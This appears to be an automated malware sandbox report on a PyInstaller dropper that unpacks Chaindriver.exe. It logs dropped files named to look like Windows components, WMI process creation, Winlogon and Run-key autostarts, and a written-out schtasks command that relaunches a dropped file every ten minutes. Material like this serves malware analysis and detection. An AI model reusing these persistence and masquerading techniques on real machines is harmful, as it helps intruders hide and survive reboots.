Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1k 25 Mar 2021built on: Tue Apr 6 11:26:02 2021 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_socket.pdb source: t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _socket.pyd.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.pdb source: Chaindriver.exe, 00000008.00000002.1728153566.000000000376F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: BoosterX.exe, 00000004.00000000.1662947336.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmp, BoosterX.exe, 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmp, Chaindriver.sfx.exe, 00000007.00000000.1672760470.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmp, Chaindriver.sfx.exe, 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmp, Chaindriver.sfx.exe.4.dr, BoosterX.exe.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_decimal.pdb## source: _decimal.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdb source: t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\unicodedata.pdb source: t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123AC000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr

Source: t8F7Ic986c.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: t8F7Ic986c.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: t8F7Ic986c.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: t8F7Ic986c.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: t8F7Ic986c.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Chaindriver.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline"
Source: C:\Chaindriver.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

File created: C:\\__tmp_rar_sfx_access_check_5407312

Jump to behavior

Source: t8F7Ic986c.exe	Static PE information: section name: _RDATA
Source: BoosterX.exe.0.dr	Static PE information: section name: .didat
Source: BoosterX.exe.0.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: Chaindriver.sfx.exe.4.dr	Static PE information: section name: .didat
Source: Chaindriver.sfx.exe.4.dr	Static PE information: section name: _RDATA

Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BA24B5F push ecx; retf	8_2_00007FFD9BA24B64
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BA24303 push cs; ret	8_2_00007FFD9BA2430F
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BA23980 pushfd ; retf	8_2_00007FFD9BA23981
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE1F2DA push esp; ret	8_2_00007FFD9BE1F2DB
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE14ABE push es; retf	8_2_00007FFD9BE14ABF
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE1616D push ebp; ret	8_2_00007FFD9BE161D8
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE1F16F push ebx; ret	8_2_00007FFD9BE1F170
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE1F10E push ebp; ret	8_2_00007FFD9BE1F10F
Source: C:\Chaindriver.exe	Code function: 8_2_00007FFD9BE1EF6D push edi; ret	8_2_00007FFD9BE1EF71
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA04B5F push ecx; retf	34_2_00007FFD9BA04B64
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA04303 push cs; ret	34_2_00007FFD9BA0430F
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA03980 pushfd ; retf	34_2_00007FFD9BA03981
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA001CD pushad ; retf	34_2_00007FFD9BA00286
Source: C:\Chaindriver.exe	Code function: 34_2_00007FFD9BA000BD pushad ; iretd	34_2_00007FFD9BA000C1
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA18992 push edx; iretd	35_2_00007FFD9BA1899D
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA03980 pushfd ; retf	35_2_00007FFD9BA03981
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA04B5F push ecx; retf	35_2_00007FFD9BA04B64
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA001CD pushad ; retf	35_2_00007FFD9BA00286
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA04303 push cs; ret	35_2_00007FFD9BA0430F
Source: C:\Chaindriver.exe	Code function: 35_2_00007FFD9BA000BD pushad ; iretd	35_2_00007FFD9BA000C1
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA03980 pushfd ; retf	36_2_00007FFD9BA03981
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA04B5F push ecx; retf	36_2_00007FFD9BA04B64
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA001CD pushad ; retf	36_2_00007FFD9BA00286
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA04303 push cs; ret	36_2_00007FFD9BA0430F
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA000BD pushad ; iretd	36_2_00007FFD9BA000C1
Source: C:\Recovery\Memory Compression.exe	Code function: 36_2_00007FFD9BA18992 push edx; iretd	36_2_00007FFD9BA1899D
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9B9F4B5F push ecx; retf	37_2_00007FFD9B9F4B64
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9B9F4303 push cs; ret	37_2_00007FFD9B9F430F
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9B9F3980 pushfd ; retf	37_2_00007FFD9B9F3981
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9BDEF36B push ebx; ret	37_2_00007FFD9BDEF36F
Source: C:\Recovery\Memory Compression.exe	Code function: 37_2_00007FFD9BDE4ABE push es; retf	37_2_00007FFD9BDE4ABF

Source: Chaindriver.exe.7.dr	Static PE information: section name: .text entropy: 7.541280330122405
Source: Memory Compression.exe.8.dr	Static PE information: section name: .text entropy: 7.541280330122405
Source: RuntimeBroker.exe.8.dr	Static PE information: section name: .text entropy: 7.541280330122405
Source: NOFqHeDosUIopsPGLT.exe.8.dr	Static PE information: section name: .text entropy: 7.541280330122405
Source: NOFqHeDosUIopsPGLT.exe0.8.dr	Static PE information: section name: .text entropy: 7.541280330122405

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Process created: "C:\Users\user\Desktop\t8F7Ic986c.exe"

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\Zfmnrnxn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	File created: C:\Chaindriver.sfx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\_lzma.pyd	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\_bz2.pyd	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\HTKiXRcY.log	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Recovery\NOFqHeDosUIopsPGLT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\_hashlib.pyd	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\TkRgFrOc.log	Jump to dropped file
Source: C:\Chaindriver.sfx.exe	File created: C:\Chaindriver.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\python39.dll	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\Default\Pictures\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\select.pyd	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\BXpblVtN.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\KGIrVxyv.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\FnBzuKhI.log	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\PxTXHLsG.log	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\viEjRGTv.log	Jump to dropped file
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75042\_decimal.pyd	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Recovery\Memory Compression.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Windows\System32\SecurityHealthSystray.exe

Jump to dropped file

Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\viEjRGTv.log	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\Zfmnrnxn.log	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\PxTXHLsG.log	Jump to dropped file
Source: C:\Chaindriver.exe	File created: C:\Users\user\Desktop\HTKiXRcY.log	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\FnBzuKhI.log	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\TkRgFrOc.log	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\KGIrVxyv.log	Jump to dropped file
Source: C:\Recovery\Memory Compression.exe	File created: C:\Users\user\Desktop\BXpblVtN.log	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Chaindriver.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Chaindriver.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Chaindriver.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Chaindriver.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Chaindriver.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Chaindriver.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Memory Compression	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chaindriver	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Chaindriver.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 10 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /f

Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Memory Compression	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Memory Compression	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Memory Compression	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Memory Compression	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chaindriver	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chaindriver	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chaindriver	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chaindriver	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior
Source: C:\Chaindriver.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT	Jump to behavior

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652ED53F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF652ED53F0

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Chaindriver.exe	Process information set: NOOPENFILEERRORBOX
